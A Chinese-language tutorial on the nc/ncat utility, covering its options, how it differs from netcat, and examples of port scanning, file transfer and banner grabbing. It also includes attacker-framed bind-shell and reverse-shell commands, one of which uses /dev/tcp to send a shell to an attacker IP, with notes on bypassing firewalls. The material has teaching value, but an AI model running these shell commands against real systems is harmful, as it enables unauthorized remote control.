nc (ncat)

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line；

nc(ncat)：Ncat是一个功能丰富的网络实用工具；支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能；

格式：ncat [OPTIONS...] [hostname] [port]

常用参数：

OPTIONS 意义
-l 使用监听模式，意味着nc被当作server，侦听并接受连接，而非向其它地址发起连接
-p 设置本地主机使用的通信端口
-s 设置本地主机送出数据包的IP地址
-u 使用UDP传输协议
-v 显示指令执行过程
-w 设置等待连线的时间
-z 使用0输入/输出模式，只在扫描通信端口时使用

nc、netcat、ncat区别：

  • nc与netcat是一个组件，ncat是nmap分支下的一个命令；
  • nc / ncat 在CentOS 上是同一个命令工具，是一个功能丰富的网络实用程序，可通过命令行在网络上读写数据；
  • 使用 ncat 时，尽量不要使用 nc，避免与 netcat 冲突；
  • 若安装了ncat时，nc、netcat都成了ncat的alias，命令行里输入这三者都是一样的；
  • netcat和ncat的-z参数是不相等的；
  • 可通过rpm -qa|grep nc命令，查看nc是指netcat还是ncat；
  • Ncat是在原始Netcat之上新增功能二次开发的另一款强大工具，也就是说Netcat有的功能Ncat都具备，并且Ncat还有更多强大的功能。

参考案例：

  • 扫描80端口
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
  • 远程通信
# ncat 命令在20000端口启动了一个tcp 服务器，所有的标准输出和输入会输出到该端口;
# 输出和输入都在此shell中展示
Server$ nc -l 20000

Client$ nc Server-IP 20000
  • 文件传输
# 从Client传输文件到Server
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 >> test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 < xxx.log

# 从Server传输文件到Client
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 < test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
  • 目录传输
# 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令;
# tar zxvf -  通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据;
Server$ nc -l 23456|tar zxvf -

# tar zcvf -  通过tar zcvf压缩,将目录`Directory`压缩后传输到管道中;`-`表示输出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
  • 抓取Banner信息
# 一旦发现开放的端口，可以容易的使用ncat 连接服务抓取他们的banner
$ nc -v 172.31.100.7 21
  • 正向Shell

正向shell是指攻击机主动连接靶机，并取得shell。通俗点说就是靶机自己绑定某个端口，等攻击机连接后将收到的数据给bash或cmd(后文简称shell)，执行结果再丢给攻击机。

# 正向shell是目标机(被攻击方)先执行nc命令，然后攻击机(攻击方)上再进行nc连接，即可反弹shell
# 正向shell需要目标机安装nc
# 正向shell 需要目标机firewalld可过滤


# target: 目标服务器系统(被攻击方)
target$ nc -lkvp 7777 -e /bin/bash

# attack: 攻击者系统(攻击方)
attack$ nc Target-IP 7777
  • 反向shell

反向shell就是靶机带着shell来连攻击机，好处显而易见就是不用担心防火墙的问题了，当然也不是没有缺点；缺点就是攻击机的IP必须能支持靶机的主动寻址，换句话来说就是攻击机需要有公网IP地址；举个例子如攻击机是内网ip或经过了NAT，靶机是公网IP，即使取得了命令执行权限靶机也无法将shell弹过来，这是网络环境的问题。

# attack: 攻击者系统(攻击方)
# -k: 当客户端从服务端断开连接后，过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态;
attack$ nc -lkvnp 6677

# target: 目标服务器系统(被攻击方)
# -i: 指定断开的时候,单位为秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
  • 测试网速
# 服务端
Server$ nc -l <port> > /dev/null

# 客户端
Client$ nc Server-IP <port> < /dev/zero
  • 测试连通性
# 测试tcp端口连通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.

# 测试udp端口连通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
  • 端口监听
# 临时监听TCP端口
# nc -l port >> filename.out 将监听内容输入到filename.out文件中
$ nc -l 7789 >> a.out

# 永久监听TCP端口
# nc -lk port
$ nc -lk 7789 >> a.out

# 临时监听UDP
# nc -lu port
$ nc -lu 7789 >> a.out

# 永久监听UDP
# nc -luk port
$ nc -luk 7789 >> a.out